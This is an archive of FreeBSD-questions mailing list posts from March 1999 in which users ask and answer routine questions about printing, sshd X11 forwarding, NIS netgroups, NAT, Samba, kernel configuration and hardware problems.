Also, why do some programs (like rc5des) have to be run with a full
pathname and others can be run with just the program name?  Is it that =
the
latter type are in /usr/local/bin?

Thanks,



__________________________________________
         Charon@freethought.org
 http://members.home.net/tuathadedanann/

   "Unthinking respect for authority=20
    is the greatest enemy of truth."
	     -Albert Einstein
__________________________________________


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From owner-freebsd-questions  Sun Mar 21 19: 6:24 1999
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Date: Sun, 21 Mar 1999 22:11:47 -0500
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Subject: Re: Printing and ppbus?
References: <19990312022506.A4926@drwho.xnet.com> <36F41A28.56617C01@voicenet.com> <19990321023512.A1090@drwho.xnet.com>
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Well, just as in your case, I changed the ppc0 line in my kernel config file
as per your instructions and re-built.  I can print postscript via the input
filter just find, but I wasn't successful printing plain text.

- Peter Schwenk
- schwenk@voicenet.com



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From owner-freebsd-questions  Sun Mar 21 19:28:42 1999
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From: Richard Kiss <richard@homemail.com>
Subject: Can't Eject CD in ATAPI CD-RW
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After a bit of CD-ROM usage (reading only) using cdd-1.0, my HP 7100 CD-RW
won't eject the CD-ROM in the drive (I press the blue eject button, and the
status light turns from green to red, then refused to eject the CD).

I know if you have a CD mounted or in use, you can't eject it. But I don't
know who or what is using the CD -- how can I find out and make it stop
using it? Or just eject the CD anyway...

-- Richard

----------------------------------------------------------
Richard Kiss
140 Locksunart Way #8
Sunnyvale, CA, 94087
richard@homemail.com
http://www.ogopogo.net/




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From owner-freebsd-questions  Sun Mar 21 19:57:52 1999
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Hello!
	I'm still having problems installing gimp, and it is the same
problem, even after I got the latest tarballs. I keep getting:

checking for GTK - version >= 1.1.13... no
*** Could not run GTK test program, checking why...
*** The test program failed to compile or link. See the file config.log
for the
*** exact error that occured. This usually means GTK was incorrectly
installed
*** or that you have moved GTK since it was installed. In the latter case,
you
*** may want to edit the gtk-config script: /usr/X11R6/bin/gtk12-config
configure: error: Test for GTK failed. See the file 'INSTALL' for help.
*** Error code 1

I installed glib-1.2.0 and GTK-1.2.0 in that order before doing the make
install for gimp-1.1.2, and both went through with no problems. Another
thing is that I don't know where to find config.log or INSTALL files that
the error refers to. How can I fix this? Mail archives show this problem
to be fairly common, but don't really give a clear answer to it. Please
Help!

Thank You,

Mark Bermal





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From owner-freebsd-questions  Sun Mar 21 20: 0:40 1999
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From: "Julian C. Dunn" <jdunn@aquezada.com>
To: freebsd-questions@freebsd.org
Subject: sshd won't do X11 forwarding
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I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine, it
won't do X11 forwarding. It says "warning: X11 forwarding denied by server,
perhaps xauth could not be run?" However, I have checked to see that xauth is
in everyone's default path, and ordinary users can run it.

Anyone had this problem before? Solutions?

- Julian

[     Julian C. Dunn - jdunn@aquezada.com  WWW: http://www.aquezada.com/   ] 
[ programmer, web designer, unix user, fumbler, writer, and future engineer]
[ FuE exfe94 a+++ Ifte/slc lonca r- ps++ bs+ t++/*t C+++$/C! w+++ p7 LF+++ ]  
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[   "you're cruel and unkind when i can't read your mind " - lenni jabour  ]


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From owner-freebsd-questions  Sun Mar 21 20:41:37 1999
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To: freebsd-questions@freebsd.org
Subject: onboard IDE controller, installation, and driver
Message-ID: <Pine.SOL.L3.93.990321231807.21647A-100000@bingsun2>
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I have a PC that has ASUS SP97-V motherboard. It has onboard IDE and FDC.
I have three confusions arising from this motherboard:

(1) I am wondering whether those "onboard" or "integrated" controllers are
connected to the PCI bus of the motherboard.  Or are they connected to the
CPU local bus, as described in the book "PCI system architecture" by Tom
Shanley (see page 21)? Or are they connected to the X-bus described by the
same book? BTW, is the integrated floppy controller a IDE controller? 

The word "onboard" really confuses me.

(2) If the hard disk is connected to the IDE controller which is sitting
on the PCI bus (the manual says it is a PCI Bus master), then when I
install FreeBSD, I should be able to remove ALL ISA storage devices. 
Right? Yet, I remember doing this and FreeBSD installation refuses to go
on because there is no storage device configured (I am not absolutely sure
about this though.  I did the installation about a month ago).  Why is
this the case?  A PCI device should be configured automatically.

(3) If I write a device driver for a hard disk, I will read/write I/O
registers on the disk drive (not in the controller). Does this mean that
the IDE controller plays no role in the drive code?  I mean, the driver
code can ignore the existence of the controller, as if it directly
controls the disk drive.  Do we need any special handling of the IDE or
SCSI controller in the driver code? 

I hope some one can clarify my concepts or give me some pointers. 

Any help is appreciated.

-------------------------------------------------- 
| Zhihui Zhang, http://cs.binghamton.edu/~zzhang |
| Dept. of Computer Science,  SUNY at Binghamton |
--------------------------------------------------




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From owner-freebsd-questions  Sun Mar 21 20:43:11 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
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Subject: Re: sshd won't do X11 forwarding
In-Reply-To: <XFMail.990321220639.jdunn@aquezada.com> from "Julian C. Dunn" at "Mar 21, 99 10:06:39 pm"
To: jdunn@aquezada.com
Date: Sun, 21 Mar 1999 23:42:55 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG
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Julian C. Dunn wrote,
> I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine, it
> won't do X11 forwarding. It says "warning: X11 forwarding denied by server,
> perhaps xauth could not be run?" However, I have checked to see that xauth is
> in everyone's default path, and ordinary users can run it.
> 
> Anyone had this problem before? Solutions?

I see,

Warning: Remote host denied X11 forwarding, perhaps xauth program could not be run on the server side.

Each time I log into one of my machines. But that is because the
machine in question does not have X installed. I assume there is no
"solution" since their is no X to forward.

Do both machines in question have X installed? How was sshd installed,
by port or package? If it was done by package, did the build machine
compile in X support?

Just some ideas.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 20:50: 9 1999
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From: "Julian C. Dunn" <jdunn@ophelia.aquezada.com>
To: cjclark@home.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: sshd won't do X11 forwarding
In-Reply-To: <199903220442.XAA06256@cc942873-a.ewndsr1.nj.home.com>
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On Sun, 21 Mar 1999, Crist J. Clark wrote:

> > I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine, it
> > won't do X11 forwarding. It says "warning: X11 forwarding denied by server,
> > perhaps xauth could not be run?" However, I have checked to see that xauth is
> > in everyone's default path, and ordinary users can run it.
> > 
> > Anyone had this problem before? Solutions?
> 
> I see,
> 
> Warning: Remote host denied X11 forwarding, perhaps xauth program could not be run on the server side.
> 
> Each time I log into one of my machines. But that is because the
> machine in question does not have X installed. I assume there is no
> "solution" since their is no X to forward.
> 
> Do both machines in question have X installed? How was sshd installed,
> by port or package? If it was done by package, did the build machine
> compile in X support?

The machine does have X installed. X was installed by package when I
installed the system, but I later installed sshd by port. I presume that
by doing that, X support was compiled in.

- Julian

--
Julian C. Dunn <jdunn@ophelia.aquezada.com>
IEEE Student Branch, Systems Administrator



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From owner-freebsd-questions  Sun Mar 21 20:52: 5 1999
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903220451.XAA06274@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Why are NIS netgroups  ignored...
In-Reply-To: <XFMail.990321194238.jobaldwi@vt.edu> from John Baldwin at "Mar 21, 99 07:42:38 pm"
To: jobaldwi@vt.edu (John Baldwin)
Date: Sun, 21 Mar 1999 23:51:39 -0500 (EST)
Cc: cjclark@home.com, freebsd-questions@FreeBSD.ORG
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John Baldwin wrote,
> The FreeBSD machine is the master server, and does not have a local
> /etc/netgroup file.  There is a /var/yp/netgroup file whose database is stored
> in the NIS maps in /var/yp/<domainname>.  The ypcat and ypmatch work on all
> machines, including the FreeBSD master server.  

Hmmm... I thought you said that you _weren't_ getting
'netgroup.byhost' or 'netgroup.byuser.' You are getting them on all of
the machines?

> I should have also said that
> neither the FreeBSD client workstations nor the Digital UNIX workstations honor
> netgroups in .rhosts.  However, the Digital UNIX servers do honor netgroups in
> /etc/exports.  All of the machines in question are on the same LAN, including
> both the FreeBSD master, and a Digital UNIX slave.  It is as if the netgroup
> map is honored some times but not others.  Hope I haven't confused you more and
> thanks for sticking it out this far.

If all of the machines are receiving the maps for netgroup, then the
problem would not seem to lie with the NIS transfer among the
machines, but rather how individual applications use the maps. What
happens when you try to use a map in /etc/exports on a FreeBSD
machine? What kind of errors are you getting?
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 21:28:42 1999
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To: jdunn@aquezada.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: sshd won't do X11 forwarding
In-Reply-To: Your message of "Sun, 21 Mar 1999 22:06:39 -0500 (EST)"
	<XFMail.990321220639.jdunn@aquezada.com>
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From: "Julian C. Dunn" <jdunn@aquezada.com>
Subject: sshd won't do X11 forwarding
Date: Sun, 21 Mar 1999 22:06:39 -0500 (EST)

> I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine, it
> won't do X11 forwarding. It says "warning: X11 forwarding denied by server,
> perhaps xauth could not be run?" However, I have checked to see that xauth is
> in everyone's default path, and ordinary users can run it.
> 
> Anyone had this problem before? Solutions?
> 

Are you using XDM?  If not, try that.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Sun Mar 21 21:43:47 1999
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From: "Tim Pushor" <timp@orion.ab.ca>
To: <questions@freebsd.org>
Subject: NAT Question
Date: Mon, 22 Mar 1999 22:51:38 -0700
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Hello,

I have built a NAT box using ipfw and natd on FreeBSD 2.2.8. I can't seem to
accomplish what I am trying to do:

I have three interfaces (the IP's have been changed to protect the innocent
:)

public - 207.122.216.0 255.255.255.128
protected - 207.122.216.129 255.255.255.128
private - 192.168.1.0 255.255.255.0

What I am trying to do is to use the machine as a router between the public
and protected interfaces (and default routing out to a router that will
forward to the Internet), but NAT the private interface to an IP address on
the public side.

The NAT works fine.. The problem I am having is that after enabling nat, the
protected interface will no longer forward to the Internet.

What I am wondering is how I should configure ipfw so that traffic to/from
the private network is NATted, and that routing between the public and
protected interfaces is unnafected.

Can someone help shed some light on this?
Many thanks,
Tim



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From owner-freebsd-questions  Sun Mar 21 21:59:39 1999
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Date: Mon, 22 Mar 1999 16:58:40 +1100
To: questions@freebsd.org
From: Hugh Blandford <hugh@island.net.au>
Subject: Frontpage port with PHP as well
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Hi all,

I'm interested in building a web server that uses the PHP module as well as
the Frontpage extensions.  Installing the Apache-FP port is a breeze,
thanks Scot.  How do I add the support for the PHP module?  If you follow
the PHP installation instructions:

http://www.php.net/manual/installation.php3

it assumes that you are doing a normal apache installation and just tacking
php on.  If I follow them and then try and run the port it overwrites the
work I have done.

Any suggestions or fixes to makefiles would be appreciated.

Hugh


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From owner-freebsd-questions  Sun Mar 21 22: 5: 9 1999
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Date: Sun, 21 Mar 1999 22:56:34 -0700
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From owner-freebsd-questions  Sun Mar 21 22:11:32 1999
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To: Anton Berezin <tobez@plab.ku.dk>,
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Subject: Re: undefined reference to
References: <36F36AEA.F08D644D@dancris.com> <86iubvgbq1.fsf@lion.plab.ku.dk>
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Anton Berezin wrote:

> Ahhha!  That's a different story.  I must say that I am unfortunately
> not aware about any successful compilations of 5.005_02 on FreeBSD
> with threads enabled.  I suspect it is next to impossible unless
> you'll tweak hints/freebsd.sh _a_lot_.  I know what I am talking about
> because my patches to this file went into 5.005_03-MAINT_TRIAL_6 and
> into 5.005_56.
>
> So, if you _really_ need threaded Perl on FreeBSD (btw, why?  FreeBSD
> has only user level threads so don't expect any perfomance gain;
> threads support in recent and decent Perls is still considered to be
> an experimental feature; there are certain problems with them), I
> would recommend you to try 5.005_03_MT6, which _does_ compile with
> threads support, out-of-the-box, on FreeBSD 2.2.8, 3.0, 3.1 & 4.0.
>
> Though this release is just ``maintenance trial'', it is anyway more
> stable than 5.005_02, with quite a bunch of problems fixed.  Or,
> alternatively, wait a couple of weeks until real 5.005_03 will be
> released.

Thanks, that worked great.

Just for reference, Perl 5.005_002 gave me those errors even when I did
not try to use threads. It did no matter what config options that I used
it always got all those linker errors when linking the B libs.

Thanks again...

Peter



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From owner-freebsd-questions  Sun Mar 21 23:10:25 1999
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From: Hardeep Parmar <hardeep.parmar@tatainfotech.com>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>,
	"'Gary Schrock'" <root@eyelab.psy.msu.edu>
Subject: RE: installing 3.1-rel either by dos partition or ppp
Date: Mon, 22 Mar 1999 12:38:20 +0530
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Hello, I am of the opinion that you could set your options during install as
type none    /* OS Type to install */

Also you could make directory C:\freebsd push /bin to C:\freebsd so that you have all your binaries in
C:\freebsd\bin\.
This has worked for me once.I hope it does work for you also.


----------
From: 	Gary Schrock
Sent: 	Sunday, March 21, 1999 12:46 AM
To: 	freebsd-questions@FreeBSD.ORG
Subject: 	installing 3.1-rel either by dos partition or ppp

Ok, this is beginning to get a little frustrating, since I've never had a
problem before when installing freebsd, but now I just can't seem to have
any luck at all.

Here's the story, I've got the 2 disk floppy set from 3.1-release.
Unfortunately I've got a plug and pray modem in the machine (which is *not*
a winmodem type, it's a real modem), and freebsd doesn't seem to recognize
it.  If I set sio3 to the proper settings the modem has when I'm in win95,
when booting I get a message about the irq for sio3 not being in the
interrupt mask or something like that.

Ok, I figure that's no real big deal, I'll just download the parts I need
to the dos partition and try doing the installation like that.  So I create
a freebsd directory on c:\ and stick a bin directory under that and
download everything in the bin directory on the ftp site. Go through the
install process, and then when it gets to the point where it tries to
install the distributions I've asked for, it says it can't find the bin
distribution.

Ok, I figure if I can't get that way to work, I'll stick my old modem in
that's not plug and pray, and try that.  Freebsd recognizes that it's
there, and I go through the process of setting up the ppp link, and that
appears to set up properly.  Switch back and tell it to continue and I get
an error message when it tries to connect, something like "Unkown error 0",
and the process fails.

If anyone has any ideas on how to get this to work, especially the install
from dos partition one (since the files are already downloaded and I
wouldn't have to go through the time downloading them again), I'd really
appreciate it.

Oh, one other thing I thought was pretty odd, don't know if this is
related.  When I switch to vt4, I don't seem to have any commands like ls
(cd works, but that's about all I've found that seems to work).  I know in
previous versions of the freebsd install stuff I was able to do things like
ls on that shell.

Thanks,



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From owner-freebsd-questions  Sun Mar 21 23:19:28 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 10:13:22 +0300
From: "Alexey V. Meledin" <cureman@pia.ru>
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Hi!

1. Does freebsd support kernel level threads?
2. If "yes", then where can I get libpthread?


Best regards,
Alexey V. Meledin

sysadmin@pia.ru
webmaster@pia.ru




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From owner-freebsd-questions  Sun Mar 21 23:23: 4 1999
Delivered-To: freebsd-questions@freebsd.org
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To: freebsd-questions@freebsd.org, freebsd-scsi@freebsd.org
Subject: Odd messages
Date: Sun, 21 Mar 1999 23:23:40 -0800
From: "Mike O'Brien" <obrien@leonardo.net>
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	Ever since I upgraded to 3.1-RELEASE, I've occasionally been
seeing bursts like this:

Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): SCB 0x18 - timed out while idle, LASTPHASE == 0x1, SEQADDR == 0x9
Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): Queuing a BDR SCB
Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): Bus Device Reset Message Sent
Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): no longer in timeout, status = 353
Mar 21 20:01:22 caern /kernel: Unexpected busfree.  LASTPHASE == 0xa0
Mar 21 20:01:22 caern /kernel: SEQADDR == 0x151
Mar 21 20:02:22 caern /kernel: (da0:ahc0:0:0:0): SCB 0xf - timed out while idle, LASTPHASE == 0x1, SEQADDR == 0x9
Mar 21 20:02:22 caern /kernel: (da0:ahc0:0:0:0): Queuing a BDR SCB
Mar 21 20:02:22 caern /kernel: (da0:ahc0:0:0:0): Bus Device Reset Message Sent
Mar 21 20:02:22 caern /kernel: (da0:ahc0:0:0:0): no longer in timeout, status = 353
Mar 21 20:02:22 caern /kernel: Unexpected busfree.  LASTPHASE == 0xa0
Mar 21 20:02:22 caern /kernel: SEQADDR == 0x151
Mar 21 23:09:47 caern /kernel: (da0:ahc0:0:0:0): SCB 0x4 - timed out while idle, LASTPHASE == 0x1, SEQADDR == 0xc

	This is my hardware:

Mar 21 23:15:30 caern /kernel: da0 at ahc0 bus 0 target 0 lun 0
Mar 21 23:15:30 caern /kernel: da0: <QUANTUM VP32210 81H8> Fixed Direct Access SCSI-2 device 
Mar 21 23:15:30 caern /kernel: da0: 10.0MB/s transfers (10.0MHz, offset 15), Tagged Queueing Enabled
Mar 21 23:15:30 caern /kernel: da0: 2103MB (4308352 512 byte sectors: 64H 32S/T 2103C)
Mar 21 23:15:30 caern /kernel: da1 at ahc0 bus 0 target 1 lun 0
Mar 21 23:15:30 caern /kernel: da1: <QUANTUM FIREBALL1080S 1Q09> Fixed Direct Access SCSI-2 device 
Mar 21 23:15:30 caern /kernel: da1: 10.0MB/s transfers (10.0MHz, offset 8)
Mar 21 23:15:30 caern /kernel: da1: 1042MB (2134305 512 byte sectors: 64H 32S/T 1042C)

	It's an Adaptec 2940 with two drives as shown.

	Mostly, it happens while the system is idle and when I get
back, everything is OK.  This last time, the disk system was frozen
and I had to Hit The Big Black Button.  Things rebooted normally.

	Ordinarily I'd say the drive is wonky, but my suspicions are
aroused: things ran fine under 2.2.6, and this bad stuff started
happening as soon as I installed 3.1.  Any takers?

Mike O'Brien


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From owner-freebsd-questions  Sun Mar 21 23:25: 9 1999
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Date: Mon, 22 Mar 1999 02:24:40 -0500 (EST)
From: John Baldwin <jobaldwi@vt.edu>
To: cjclark@home.com
Subject: Re: Why are NIS netgroups  ignored...
Cc: freebsd-questions@FreeBSD.ORG, (John Baldwin) <jobaldwi@vt.edu>
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On 22-Mar-99 Crist J. Clark wrote:
> John Baldwin wrote,
>> The FreeBSD machine is the master server, and does not have a local
>> /etc/netgroup file.  There is a /var/yp/netgroup file whose database is
>> stored
>> in the NIS maps in /var/yp/<domainname>.  The ypcat and ypmatch work on all
>> machines, including the FreeBSD master server.  
> 
> Hmmm... I thought you said that you _weren't_ getting
> 'netgroup.byhost' or 'netgroup.byuser.' You are getting them on all of
> the machines?

Yes... I can ypcat or ypmatch 'netgroup', 'netgroup.byhost' and
'netgroup.byuser' on all hosts.

>> I should have also said that
>> neither the FreeBSD client workstations nor the Digital UNIX workstations
>> honor
>> netgroups in .rhosts.  However, the Digital UNIX servers do honor netgroups
>> in
>> /etc/exports.  All of the machines in question are on the same LAN,
>> including
>> both the FreeBSD master, and a Digital UNIX slave.  It is as if the netgroup
>> map is honored some times but not others.  Hope I haven't confused you more
>> and
>> thanks for sticking it out this far.
> 
> If all of the machines are receiving the maps for netgroup, then the
> problem would not seem to lie with the NIS transfer among the
> machines, but rather how individual applications use the maps. What
> happens when you try to use a map in /etc/exports on a FreeBSD
> machine? What kind of errors are you getting?

I can use a netgroup in /etc/exports on a FreeBSD machine and it works.  The
only problems I've encountered so far are with /etc/login.access and login, and
~/.rhosts and /etc/hosts.equiv with rshd and rlogind.  Does anyone know if
these are broken.  ...  Well, duh, guess I should've searched Gnats as well as
the mail archives before e-mailing, this is reported in bin/2641 but not yet
fixed. :(  Thanks for your time.  Now I just have to wonder if it is broken for
rshd and rlogind.

> -- 
> Crist J. Clark                           cjclark@home.com

---

John Baldwin <jobaldwi@vt.edu> -- http://members.freedomnet.com/~jbaldwin/
PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc



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From owner-freebsd-questions  Sun Mar 21 23:44:13 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 07:40:50 +0000
From: Mark Ovens <marko@uk.radan.com>
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To: Richard Kiss <richard@homemail.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: Can't Eject CD in ATAPI CD-RW
References: <l03130301b31b6846700e@[10.0.0.4]>
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Richard Kiss wrote:
> 
> After a bit of CD-ROM usage (reading only) using cdd-1.0, my HP 7100 CD-RW
> won't eject the CD-ROM in the drive (I press the blue eject button, and the
> status light turns from green to red, then refused to eject the CD).
> 
> I know if you have a CD mounted or in use, you can't eject it. But I don't
> know who or what is using the CD -- how can I find out and make it stop
> using it? Or just eject the CD anyway...
> 

Type ``mount'' to check if it is mounted. If so type ``umount
<mountpoint>'' as root, check that it is not being used by any program
and that it is not the CWD of any shell, else you'll get a "device
busy" error.

HTH

> -- Richard
> 
> ----------------------------------------------------------
> Richard Kiss
> 140 Locksunart Way #8
> Sunnyvale, CA, 94087
> richard@homemail.com
> http://www.ogopogo.net/
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Sun Mar 21 23:46:20 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from alpha.comkey.com.au (alpha.comkey.com.au [203.9.152.215])
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Date: Mon, 22 Mar 1999 17:41:23 +1000
From: Greg Black <gjb@comkey.com.au>
To: Patrick Seal <patseal@hyperhost.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: /usr/include/sys/socket.h errors 
References: <Pine.BSF.4.10.9903211734090.8841-100000@foobar.hyperhost.net> 
In-reply-to: <Pine.BSF.4.10.9903211734090.8841-100000@foobar.hyperhost.net> 
    of Sun, 21 Mar 1999 17:36:12 EST
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> I'm tried to compile gdict, but I keep getting errors about socket.h and
> inet.h
> 
> gcc -Wall -O2 `gtk-config --cflags` `gtk-config --libs` gdict.c -o gdict
> In file included from gdict.c:15:
> /usr/include/sys/socket.h:139: parse error before `u_char'

It's only a couple of weeks since this was last answered here.
The first step in solving this kind of basic compilation problem
is to read the man pages.  If you do, you'll see that you must
include <sys/types.h> *before* <sys/socket.h>.

The second thing is to learn to be a bit discriminating in the
choice of what to include in your questions.  The first error
line was all that was needed -- the million lines that followed
added nothing and could have been omitted comfortably.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Sun Mar 21 23:52:23 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Langa Kentane - MWeb <LKentane@mweb.com>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: Best book to buy
Date: Mon, 22 Mar 1999 09:44:35 +0200
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Which book is the best to buy if you want to learn more about FreeBSD
administration.

I want a book that will describe stuff like the confing files and tell
you how to use them effectively and the whole system as a whole.

Something for FreeBSD that would be the equivalent of Linux unleashed.

Thanks in advance

Kind regards
LAnga

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBNvXaIdALXaBNEberEQJmcACgndei2iM/JdXHvZDSG1f81p5b580AnRrG
JRj5O2bsNmlsxT9lOnBPJZHC
=MUIK
-----END PGP SIGNATURE-----


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From owner-freebsd-questions  Sun Mar 21 23:57:12 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Peter Biro" <peter@briter.com.au>
To: junkmale@xtra.co.nz
Date: Mon, 22 Mar 1999 18:55:56 +1100
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Dan,

The information arrived this afternoon.

The host is using FreeBSD 3.1 and Apache 1.3.4

I have a number of web sites on a system running FreeBSD, we are trying to run FrontPage extensions on the sites as well and are 
running into a number of problems.

First prob was with searching, if the search was unsuccesful a 
 second search would bring up an error message.
 
They are even having trouble with the counters, they have been 
stuck on "1" for a considerable time.

Also tried a chat room but this didn't work altho I have it up on 2 
 other UNIX sites. 

Both of the sites involved are for non-profit educational groups and 
we used FP to cut costs and were told they could run them on 
 their server but not much luck at this stage. 

They get very cheap hosting which is great but I'd love to get the 
FP 98 extensions running properly. 

Can anyway please advise where to find some info on this area that  I could pass on to the host's techos?

Regards

Peter Biro



PBS BriTer Solutions


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From owner-freebsd-questions  Mon Mar 22  0:10:12 1999
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From: Steve Howe <groggy@iname.com>
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Subject: epson lx 100
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just to answer my own question:

after many, many hours of experimentation:

i don't know how many other dot matrix printers this may apply to,
but for fbsd 2.2.8 + gs 5.10 + an epson fx 100:

for gs, set r240x144 and sDEVICE=okiibm.

none of the epson drivers worked well, and
no other resolution works well with "okiibm".

thanks.



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From owner-freebsd-questions  Mon Mar 22  0:19:34 1999
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Date: Mon, 22 Mar 1999 01:18:47 -0700 (MST)
From: Antonio Varela Lizardi <antonio@icon.net.mx>
To: questions@freebsd.org
Subject: loosing kernel config
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Hi,

  I've just upgraded my home internet gateway (generic 486DX2) from
2.2.7-RELEASE to 3.1-RELEASE, clean installation (backup, format, install,
reconfiguring from scratch [more fun]). I've been using the generic
kernel, but I wonder why I'm loosing the device configuration (tuned with
boot -c) each time I reboot the machine. Ie, I delete all scsi stuff and
all ethercards but ed0 (and also I need to change ioaddr and irq of ed0)  
and when rebooting, it's all back again with the default settings. I've
recompiled a custom kernel and it's going fine, but this didn't happen
with 2.2.7. Did I mess something? Any hint will be welcome.

Thanks in advance.
Antonio



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From owner-freebsd-questions  Mon Mar 22  0:32:54 1999
Delivered-To: freebsd-questions@freebsd.org
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Hi,
    I am just wondering how to setup a FreeBSD box as a server for
bunch of Windows 95 machines, so that the Windows 95 machines
can either a) see the FreeBSD as a network drive or through network
neightbor hood, or b) able to logon (not using telnet, these machine
are for students, who basically have no idea on how to use a computer)
to the FreeBSD server and retrive and store information.

here is basically how the network is setup (if you need it)...

web| <---> DHCP (Novell server)
                       |
                 Computers (Macs and PCs)
                  |                 |
               <hubs>     <hubs>
                 |                  |
              PCs              Mac Server (which connects to the Macs
only)


I know it is kinda picky...  sorry for the inconvinence...


Thank you in advance.

Frankie



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From owner-freebsd-questions  Mon Mar 22  0:38:50 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 08:37:15 +0000
From: Mark Ovens <marko@uk.radan.com>
Organization: Radan Computational Ltd
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To: Antonio Varela Lizardi <antonio@icon.net.mx>
Cc: questions@freebsd.org
Subject: Re: loosing kernel config
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Antonio Varela Lizardi wrote:
> 
> Hi,
> 
>   I've just upgraded my home internet gateway (generic 486DX2) from
> 2.2.7-RELEASE to 3.1-RELEASE, clean installation (backup, format, install,
> reconfiguring from scratch [more fun]). I've been using the generic
> kernel, but I wonder why I'm loosing the device configuration (tuned with
> boot -c) each time I reboot the machine. Ie, I delete all scsi stuff and
> all ethercards but ed0 (and also I need to change ioaddr and irq of ed0)
> and when rebooting, it's all back again with the default settings. I've
> recompiled a custom kernel and it's going fine, but this didn't happen
> with 2.2.7. Did I mess something? Any hint will be welcome.
> 

The boot method has changed in 3.1. Your mods should be saved in
/kernel.config. In /boot/loader.rc add the following:

  load /kernel
  load -t userconfig_script /kernel.config
  autoboot

HTH


> Thanks in advance.
> Antonio
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Mon Mar 22  0:45:22 1999
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Check-out the FreeBSD website for more info. As I recollect, support 
for floppy tape was removed from FreeBSD 3.x. There's a link 
somewhere which points to a page detailing how to plug floppy support 
back into 3.x.

Good luck!


Clem

-----Original Message-----
From: listmail 
Sent: 21 March 1999 15:16
To: freebsd-questions
Cc: listmail
Subject: Floppy tape doesn't work under 3.0.1


Hello there!

Recenlty I migrated from 2.2.5 to 3.0.1 with success.
The only thing that doesn't work any more is my floppy tape drive.

I build the kernel with the folowing options:

controller fdc0 at isa? port "IO_FD1" bio flags 1 irq 6 drq 2 vector 
fdintr
disk  fd0 at fdc0 drive 0
tape  ft0 at fdc0 drive 2 

When I boot the folowing messages appear at the screen:

fdc0 at 0x3f0-0x3f7 irq 6 drq 2 flags 0x1 on isa
fd0: config-pretended 1.44MB 3.5in
fd0: config-pretended 1.44MB 3.5in

(Notice: 2x fd0!)

I have been trying to get the floppy tape up and running for a few 
days now and I am out of any good ideas. 

Please help me!

Greets,

Robin Huiser 


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From owner-freebsd-questions  Mon Mar 22  1:18:56 1999
Delivered-To: freebsd-questions@freebsd.org
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I have an SMC EtherEz card (8416T). Could you please advise me as to
whether or not this card can be used with FreeBSD 2.2.8. Thanks Ron
Crouch



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From owner-freebsd-questions  Mon Mar 22  1:20: 8 1999
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Date: Mon, 22 Mar 1999 10:19:43 +0100
To: notme <notme@lvdi.net>, freebsd-questions@FreeBSD.ORG
From: Stefano Riva <sriva@alice.it>
Subject: Re: windows 95 connect to FreeBSD
In-Reply-To: <36F600E4.CE34B06F@lvdi.net>
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At 00.35 22/03/99 -0800, you wrote:
>    I am just wondering how to setup a FreeBSD box as a server for
>bunch of Windows 95 machines, so that the Windows 95 machines
>can either a) see the FreeBSD as a network drive or through network
>neightbor hood, or b) able to logon (not using telnet, these machine

  It's kinda easy. Just install FreeBSD and the Samba package. If you want
vice-versa (seeing Windows boxes from FreeBSD), install Sharity Light too.
If you want to access the FreeBSD box even from Macs, install Netatalk too.
With Samba and Netatalk you could even use the FreeBSD box as a print
server for both worlds (it works better than Intranetware, in my experience).
  All the mentioned applications are in the ports, so they are almost
"plug&play". For more info, look at the applications' page of www.freebsd.org.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Mon Mar 22  1:55:14 1999
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Subject: FW: XF86 3.3.3 library problem with FreeBSD 3.1-RELEASE
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Subject:	XF86 3.3.3 library problem with FreeBSD 3.1-RELEASE
Hi:
>Hi,
>
>	I haven't been able to determine whether or not this is a problem with
>FreeBSD or X Windows, so I'm posting this to both lists. Basically, when
